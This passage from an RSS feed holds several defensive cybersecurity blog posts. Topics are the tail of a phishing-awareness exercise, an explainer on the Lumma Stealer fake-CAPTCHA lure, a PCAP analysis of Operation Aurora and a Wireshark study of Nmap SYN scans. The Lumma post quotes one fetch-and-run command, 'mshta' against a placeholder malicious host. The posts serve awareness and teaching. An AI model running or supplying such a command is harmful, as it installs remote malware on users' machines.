innocent-looking file that could’ve easily contained a malicious payload.</p><p>Had I been malicious, that PDF could’ve held a <strong>Meterpreter reverse shell payload</strong>, granting me persistent remote access to the target’s system. From there? Data exfiltration, keylogging, webcam access, the possibilities are endless and terrifying.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*FDdj0xikXGcgl_YIeAV6rQ.jpeg" /></figure><p>The point of the exercise was to raise awareness: <strong>never trust attachments blindly, even when they look routine.</strong></p><h3>The Results</h3><p>Some opened the email.<br>Some downloaded the attachment.<br>A few messaged me, concerned but the damage was already hypothetically done.</p><p>The takeaway? Even when you’re careful, your mind is still the weakest link in the chain. People trust what looks familiar especially when it’s routine, like a monthly bank email.</p><h3>The Reflection</h3><p>This was both thrilling and terrifying. Thrilling because the entire stack from infrastructure to social payload was something I built myself. Terrifying because it worked.</p><p>Humans are the last mile of cybersecurity. You can patch all the software in the world, but if your users don’t know how to spot a phish, your network is still vulnerable.</p><h3>Final Thoughts</h3><p>If you’re into cybersecurity, don’t just learn tools, learn humans. Study what makes them click, what makes them trust, and how that trust can be manipulated. Social engineering isn’t just a cyber skill; it’s a psychological one.</p><p>If this taught me anything, it’s that phishing isn’t always loud and flashy. Sometimes, it’s quiet, professional, and looks exactly like what you’re expecting to see. And that’s exactly what makes it dangerous.</p><p><strong>Disclaimer:</strong> All participants were informed after the fact and gave consent for their anonymized data to be used in this write-up.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=828c13adef81" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lumma Stealer: The Free Software That Steals Everything Else]]></title>
            <link>https://medium.com/@thatdenzguy/lumma-stealer-the-free-software-that-steals-everything-else-811a1f8f02ed?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/811a1f8f02ed</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[antivirus]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity-awareness]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Mon, 07 Apr 2025 16:50:36 GMT</pubDate>
            <atom:updated>2025-04-07T16:50:36.878Z</atom:updated>
            <content:encoded><![CDATA[<p>Most people don’t know what Windows + R does and cybercriminals are betting on that.</p><p>You think you’re just pasting a harmless command to verify a CAPTCHA or install some “free” software. What you’ve actually done is invite <strong>Lumma Stealer</strong> to roll into your system like it owns the place.</p><p>No alerts. No pop-ups. Just silence while your passwords, browser cookies, crypto wallets, and autofill data get quietly zipped up and shipped off.</p><p>And no, your antivirus won’t come to the rescue. This isn’t a clunky executable file you can simply right-click and delete. It’s stealthy, leveraging your own system resources (LOLBins). It operates entirely in memory and thrives on advanced obfuscation techniques.</p><p>This is modern malware. And if you’re not careful, it’ll rob you blind before you can say “I thought it was safe.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*OyyrEbgx91ckz2-KuRWvPQ.jpeg" /></figure><h3>So… What <em>Is</em> Lumma Stealer?</h3><p>Lumma Stealer is a type of malware called an <strong>infostealer. </strong>Its whole job is to get onto your system and steal your sensitive data. It doesn’t care if you’re a bank exec or just someone using Chrome with 37 tabs open. If your system isn’t locked down, it’s fair game.</p><p>Lumma is sold on underground markets as <a href="https://heimdalsecurity.com/blog/what-is-malware-as-a-service-maas/"><strong>Malware-as-a-Service</strong></a><strong> (MaaS)</strong>, which basically means anyone with crypto and bad vibes can rent it and start harvesting info.</p><h3>The Scam: Fake CAPTCHAs &amp; the Windows + R Palaver</h3><p>Here’s how the trap usually plays out:</p><p><strong>Step 1:</strong> You’re trying to download some “legit” software (e.g cracked Microsoft Office 2019).</p><p><strong>Step 2:</strong> A sketchy ad redirects you to a <strong>fake CAPTCHA page</strong>. It says something like “Click here to verify you’re human.”</p><p>But plot twist: there’s no real CAPTCHA. Instead, it gives you a command like:</p><pre>mshta http://shady.site/malicious.hta</pre><p>And it tells you to <strong>press </strong><strong>Windows + R</strong> and paste the command (sometimes the command is already copied to your clipboard).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/401/1*0ONJ0NgXlJ_04eelbCFzhA.png" /></figure><p>Most people are unaware that pressing Windows + R opens the Run dialog. Believing they’re merely following CAPTCHA instructions, they unknowingly end up launching malware.</p><h3>How Lumma Actually Works (In Plain English)</h3><p>Let’s try to decode the chart below to figure out how this malware plays out:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GY5tUyBiSIlwxxFI.png" /></figure><p>Here’s the humanized version:</p><ol><li><strong>You land on the fake CAPTCHA page</strong> and follow instructions to paste a command.</li><li>That command calls a shady .hta (HTML Application) file via mshta.exe.</li><li>The .hta file contains <strong>obfuscated PowerShell code</strong>, which downloads even more scripts from a remote server.</li><li>Eventually, Lumma is downloaded and run in memory — meaning your antivirus may not even blink.</li><li><strong>It bypasses AMSI (Antimalware Scan Interface)</strong> using known PowerShell tricks, like string splitting, hex encoding, and Reflection methods.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/329/1*JZLvfdAhjJQbz413CJWtUw.png" /></figure><p>And just like that, your saved passwords, session tokens, crypto extensions, and autofill data are gone and uploaded to a command-and-control server owned by your friendly neighborhood cybercriminal.</p><h3>But How Did It Bypass Antivirus or EDR?!</h3><p>Because Lumma doesn’t always drop a file.</p><p>Instead, it runs highly obfuscated scripts directly <strong>in memory</strong>, and uses <strong>living-off-the-land binaries (LOLBins)</strong> like mshta.exe and powershell.exe—stuff that Windows trusts by default.</p><p>It may also avoid known signatures by constantly rotating or encoding its payload. Plus, it deletes itself after doing the deed. Ghost mode, basically.</p><h3>The Nigerian Angle: Cracked Software, Freebies, and the Cost of “No Cost”</h3><p>Let’s be honest, many of us grew up installing cracked games, bootleg Office, or that “one-click activation tool” that was clearly malware but <em>somehow worked</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*HApwG183yPrZ1P-pTsMzPg.jpeg" /><figcaption>I do not partake in such activity</figcaption></figure><p>And Lumma <em>thrives</em> on that behaviour.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cE-Gehon30XpQuE3.jpg" /></figure><p>In Nigeria, where software can be expensive, the temptation is real. But what’s the cost of free when you lose your saved passwords, your crypto wallet gets drained, or your Instagram gets hacked?</p><h3>How to Protect Yourself (and Your Auntie Too)</h3><ol><li><strong>Stop downloading cracked software.</strong></li></ol><ul><li>I know. But really.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGRtj-Xd1QJyMhH1FR4R0g.jpeg" /><figcaption>i know you&#39;re probably like this reading this.</figcaption></figure><p><strong>2. Never paste stuff into </strong><strong>Windows + R.</strong></p><ul><li>Especially if a random site tells you to. Your system isn’t a paste-bin for strangers.</li></ul><p><strong>3. Use antivirus + behaviour monitoring.</strong></p><ul><li>Tools like <strong>Microsoft Defender + Sysmon</strong>, <strong>Malwarebytes</strong>, or even <strong>free EDRs</strong> can help. But they’re not magic.</li></ul><p><strong>4. Use browser sandboxing tools</strong> like <a href="https://sandboxie-plus.com/">Sandboxie</a> if you <em>must</em> test something sketchy.</p><p><strong>5. Educate your people.</strong></p><ul><li>This is key. If you know how these things work, tell your friends. Especially the ones that click on every “Spin to win an Iphone 16” ad.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/1*Y_u40tmVz2QZyAp6a2IDvQ.jpeg" /></figure><h3>References / Learn More</h3><ul><li>https://blog.morphisec.com/lumma-stealer-new-info-stealer-variant<br> <em>(Morphisec’s technical breakdown of Lumma’s infection chain and obfuscation)</em></li><li><a href="https://github.com/anyrun/LummaStealer-Analysis">https://github.com/anyrun/LummaStealer-Analysis</a><br> <em>(IOCs and reverse engineering Lumma’s components)</em></li><li><a href="https://www.malwarebytes.com/blog/news/2023/11/fake-captcha-used-to-push-infostealer-malware">https://www.malwarebytes.com/blog/news/2023/11/fake-captcha-used-to-push-infostealer-malware</a><br> <em>(Fake CAPTCHA technique spotted in wild malware campaigns)</em></li><li><a href="https://redcanary.com/blog/living-off-the-land/">https://redcanary.com/blog/living-off-the-land/</a><br> <em>(Explainer on LOLBins and how attackers abuse legitimate Windows tools)</em></li><li><a href="https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules?view=o365-worldwide">https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules?view=o365-worldwide</a><br> <em>(Microsoft ASR rules to block suspicious behavior like Lumma’s execution chain)</em></li></ul><h3>Final Thoughts</h3><p>Cybersecurity isn’t just “for the tech guys.” It’s for you, me, and that one aunty who keeps forwarding “free data” links on WhatsApp. Lumma Stealer is clever, but we’ve got memes, awareness, and common sense on our side.</p><p>And if you still need cracked software that badly, at least run it in a VM and prepare for your karma.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=811a1f8f02ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analysing Operation Aurora: A Dive Into the PCAP File]]></title>
            <link>https://medium.com/@thatdenzguy/analysing-operation-aurora-a-dive-into-the-pcap-file-4cdad64aa386?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4cdad64aa386</guid>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Sat, 28 Dec 2024 22:05:24 GMT</pubDate>
            <atom:updated>2024-12-28T22:05:24.037Z</atom:updated>
            <content:encoded><![CDATA[<p>Have you ever stumbled across a packet capture file and felt like it was speaking in riddles? That was me when I got the chance to analyse a PCAP file from <strong>Operation Aurora</strong>, an infamous cyberattack that turned out to be a masterclass in spear-phishing and browser exploitation.</p><p>Here’s the story:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*vmcY0bFUXjc6_whf55Et1w.jpeg" /></figure><h3>What Was Operation Aurora?</h3><p>Think of Operation Aurora as the grand heist of 2009. Instead of robbing banks, attackers targeted companies like Google, Adobe, and others, stealing sensitive data by exploiting a zero-day vulnerability in Internet Explorer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*k8UTbB9trsYyI5ZBxiAWEQ.jpeg" /></figure><p>The attackers sent convincing phishing emails to their targets. Once clicked, victims were redirected to a malicious website where all the magic — or chaos, depending on your perspective — happened. The attackers used obfuscated JavaScript to exploit the browser, gain control of the system, and ultimately steal sensitive information.</p><h3>Analysing the PCAP File</h3><p>With some context in hand, I dove into the PCAP file to see this attack unfold, packet by packet.</p><h4>The Three-Way Handshake</h4><p>It all started with a handshake — but not the friendly kind.</p><p>The victim (IP: 192.168.100.206) reached out to the attacker’s machine (IP: 192.168.100.202) over <strong>port 80</strong>, indicating HTTP traffic. Wireshark showed a textbook three-way handshake (SYN, SYN-ACK, ACK).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*_js56cMLQqLMttcnVJ9v2g.png" /></figure><p>This was followed by an HTTP GET request from the victim for /info. The attacker replied with a <strong>302 (Moved Temporarily)</strong> status code, redirecting the victim to /info?fFfWELUjLJHpP.</p><p>And just like that, the victim’s browser followed the redirection to the new URL — standard browser behaviour, but in this case, it was a trap.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*xWrsw6NHfETOE6qY0lZF1Q.png" /></figure><h3>Malicious Payload Delivery</h3><p>To analyse the content, I followed the TCP stream — and let me tell you, it did not disappoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*9uoVTMObskLIa0v2lxMwTA.png" /><figcaption>we can see the initial Get request, the redirection and the subsequent Get request</figcaption></figure><p>After the redirection, the attacker sent a response containing what I’d call <em>suspiciously creative</em> JavaScript. The &lt;script&gt; tag was packed with obfuscated code—random strings of numbers and letters that didn’t make much sense at first glance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*GUPhp0ePbCGI1f0A7p2w5w.png" /><figcaption>this person is definitely hiding something</figcaption></figure><p>Why obfuscate? It’s a classic trick to avoid detection by security tools.</p><p>Toward the end of the script, things got a bit clearer. There were readable variables hinting at string parsing logic, likely part of the de-obfuscation process. But the kicker? An <strong>iframe</strong> referencing a .gif file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*pFwVclgmjylR12qoxEyq9A.png" /></figure><p>If you’re thinking, “Wait, a GIF?” you’re not alone. It’s not just a cute meme; this file likely contained exploit code. The victim’s browser dutifully fetched the GIF, which set the stage for the real attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*Vyis4cp3lM1RnbbIbw8L3w.png" /><figcaption>“Here we go” in Fabrizio Romano’s voice</figcaption></figure><h3>Exploitation and Reverse Shell Access</h3><p>Then came <strong>packet 25</strong>, and things got real.</p><p>Suddenly, the victim initiated a connection back to the attacker on <strong>port 4321</strong>. This reverse connection is the digital equivalent of handing over your house keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LQQWQMaOHc-gsZ-6GASEyQ.png" /></figure><p>Following the TCP stream revealed a <strong>Windows command shell</strong> being sent from the victim to the attacker.</p><p>This confirmed that the attacker’s payload had executed successfully. With the command shell in hand, the attacker started issuing commands like dir to list directory contents on the victim’s machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*Pg2w6u997hZW23DiFOe3kA.png" /><figcaption>There is fire on the mountain!</figcaption></figure><p>At this point, the attacker had full administrative control, and the victim’s machine was essentially a puppet on strings.</p><h3>Breaking Down the Attack</h3><p>Here’s how the Aurora exploit unfolded in six (relatively simple) steps:</p><ol><li>The victim clicked a malicious link in a spear-phishing email, sending an HTTP GET request to the attacker’s server.</li><li>The attacker responded with a <strong>302 redirect</strong>, leading the victim to another URL.</li><li>The attacker delivered a webpage containing obfuscated JavaScript code and an iframe referencing a .gif.</li><li>The victim’s browser fetched the .gif, which contained exploit code.</li><li>The exploit ran on the victim’s machine, creating a reverse connection to the attacker on <strong>port 4321</strong>.</li><li>The attacker used a command shell to interact with the victim’s system.</li></ol><h3>Key Takeaways from the PCAP Analysis</h3><p>This PCAP analysis isn’t just a history lesson — it’s a chance to learn how to spot and stop attacks like this. Here are some key takeaways:</p><ul><li><strong>Watch for Suspicious Redirects</strong>: A 302 redirect to a strange URL (/info?randomstring) is a red flag.</li><li><strong>Inspect Obfuscated JavaScript</strong>: While obfuscation isn’t inherently malicious, it’s often used to hide attacks.</li><li><strong>Keep an Eye on Outbound Connections</strong>: Unexpected connections to external servers, especially on odd ports like 4321, are worth investigating.</li><li><strong>Monitor for Command Shells</strong>: If you see plaintext command shells in your traffic, it’s time to sound the alarm.</li></ul><h3>Wrapping It Up</h3><p>Operation Aurora was a sophisticated attack, but even the most advanced exploits leave traces. By carefully analyzing this PCAP file, we followed the breadcrumbs and pieced together the full attack chain — from an innocent-looking HTTP request to a command shell in the attacker’s control.</p><p>Whether you’re a seasoned analyst or just starting your journey into packet analysis, remember: every packet is a clue, and every capture tells a story. Understanding these traces can turn you into a digital detective, ready to uncover the techniques attackers use and stay one step ahead.</p><p>So fire up Wireshark, embrace your curiosity, and let those packets spill their secrets!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*FdJPnGSw8stJnQ1l81Y4BA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4cdad64aa386" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unmasking SYN Scans: Nmap Meets Wireshark]]></title>
            <link>https://medium.com/@thatdenzguy/unmasking-syn-scans-nmap-meets-wireshark-c6aed7034cab?source=rss-d3f2c8ac4b3d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c6aed7034cab</guid>
            <category><![CDATA[red-vs-blue-teaming]]></category>
            <category><![CDATA[wireshark]]></category>
            <category><![CDATA[log-analysis]]></category>
            <category><![CDATA[nmap]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Aderinola Taiwo]]></dc:creator>
            <pubDate>Thu, 26 Dec 2024 15:52:50 GMT</pubDate>
            <atom:updated>2024-12-26T15:52:50.874Z</atom:updated>
            <content:encoded><![CDATA[<p>Nmap SYN scans are a quintessential tool in the reconnaissance phase of cybersecurity. They are efficient, stealthy, and often the first step in uncovering network vulnerabilities. In this blog post, I’ll walk through my analysis of a SYN scan using Wireshark, highlighting key findings and techniques that can be applied in similar investigations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*yUGykgE5teVXtw-4hi7-xw.jpeg" /></figure><h3>Initial Observations: The SYN Scan Unveiled</h3><p>Opening the pcap file in Wireshark, I began by analysing the <strong>Conversations</strong> section, which provides a high-level overview of communication between IP addresses. Two IPs stood out:</p><ul><li><strong>Source (Attacker):</strong> 172.16.0.8</li><li><strong>Destination (Victim):</strong> 64.13.134.52</li></ul><p>The data revealed that the attacker sent <strong>1,994 packets</strong>, while the victim replied with only <strong>17 packets</strong> — a total of <strong>2,011 packets</strong> exchanged in a short time frame.</p><p>This asymmetry was the first red flag, suggesting probing activity. To confirm, I examined the nature of the packets and found they were exclusively SYN packets, a signature characteristic of an Nmap scan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*lqZWDp7mUGTBn4wV33kMBg.png" /></figure><h3>Deep Dive: Analysing Specific Ports</h3><p>With the overall activity established, I shifted focus to individual ports to determine their status: open, closed, or unresponsive.</p><p>I started by focusing on <strong>port 443</strong>, associated with the HTTPS protocol. Using Wireshark’s “Prepare as Filter” feature, I right-clicked on the packet and set up a filter for:</p><pre>tcp.dstport == 443</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*UxinHBUEqDecTnAFZY9dYg.png" /></figure><p>This will only show packets <em>sent</em> to the port. But I needed to see if the victim responded, so I tweaked the filter to:</p><pre>tcp.port == 443</pre><p>Only two packets appeared, and the victim didn’t respond. The lack of a reply might mean the port is filtered, or it could simply be closed. Either way, this wasn’t conclusive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kRiAxOjF5EIvdFXrKJ3XUA.png" /></figure><h4>Port 80: SYN/ACK, Retransmissions, and Half-Open Connections</h4><p>Next, I analysed port 80, commonly used for HTTP. Here, I observed a classic response to the attacker’s SYN packet: a SYN/ACK from the victim, indicating the port was open and ready for a connection.</p><p>However, the attacker didn’t complete the <strong>three-way handshake</strong> by sending an ACK. Instead, the victim retransmitted its SYN/ACK three more times before ceasing communication. This behaviour confirmed an open port, with a total of five packets exchanged: one SYN and four retransmitted SYN/ACKs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H6cvzDbctp9DG7Lltryu2Q.png" /><figcaption>the re-transmissions are highlighted in red</figcaption></figure><h4>Port 113: Closed for Business</h4><p>Port 113, associated with the ident protocol, offered a different outcome. Filtering for this port revealed four packets:</p><ol><li>A SYN packet from the attacker.</li><li>An immediate RST (reset) from the victim, indicating the port was closed.</li><li>A repeat of this SYN-RST exchange.</li></ol><p>This pattern clearly identified port 113 as closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K8laKbr78NifVJGaJm1tqA.png" /><figcaption>yup it’s closed alright</figcaption></figure><h3>Identifying Patterns: Open, Closed, and Unresponsive Ports</h3><p>To streamline the process of determining port statuses, I turned back to the <strong>Conversations</strong> section in Wireshark. Here’s the trick: sorting the packets column in descending order. This simple step allows you to identify the number of packets exchanged for each conversation, which is key to distinguishing open, closed, and unresponsive ports.</p><p>From our earlier analysis:</p><ul><li><strong>Open ports</strong> typically involve five packets: one SYN from the attacker and four retransmitted SYN/ACKs from the victim (e.g., ports 53, 80, and 22).</li><li><strong>Closed ports</strong> usually show two packets: a SYN followed by an RST (e.g., ports 113, 25, 31337, 113 again, and 70).</li><li><strong>Unresponsive ports</strong> have only one packet: the SYN request with no reply, suggesting filtering or inaccessibility.</li></ul><p>By using this method, I confirmed the statuses of multiple ports in one place, saving significant time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*1bgNdlEkm3XGE-BAHTHL3Q.png" /></figure><h3>Practical Applications of SYN Scans</h3><p>SYN scans are a powerful reconnaissance technique used by security professionals and attackers alike:</p><ul><li><strong>For Penetration Testing:</strong> Ethical hackers use SYN scans to identify open ports and assess potential entry points in a network. This helps organizations strengthen their defences against real-world threats.</li><li><strong>In Incident Response:</strong> Analysts investigating suspicious activity often look for signs of SYN scans to detect reconnaissance attempts by attackers, allowing proactive mitigation.</li><li><strong>For Network Hardening:</strong> Administrators use SYN scans to audit their environments, ensuring that only necessary services are accessible and reducing the attack surface.</li></ul><p>However, these scans can also indicate malicious intent. Attackers commonly use them to:</p><ul><li>Identify vulnerable services for exploitation.</li><li>Enumerate targets in preparation for further attacks.</li></ul><p>Understanding and analyzing SYN scans is therefore a double-edged skill — essential for defending networks and evaluating potential risks.</p><h3>Conclusion</h3><p>SYN scans are a powerful example of how network reconnaissance can be performed with precision and stealth. Through this analysis, we demonstrated how to identify open, closed, and unresponsive ports using Wireshark. This methodical approach can be applied in various scenarios, from network monitoring to incident response.</p><p>For cybersecurity professionals, the ability to interpret packet captures is a cornerstone skill, offering visibility into the unseen layers of network communication.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c6aed7034cab" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>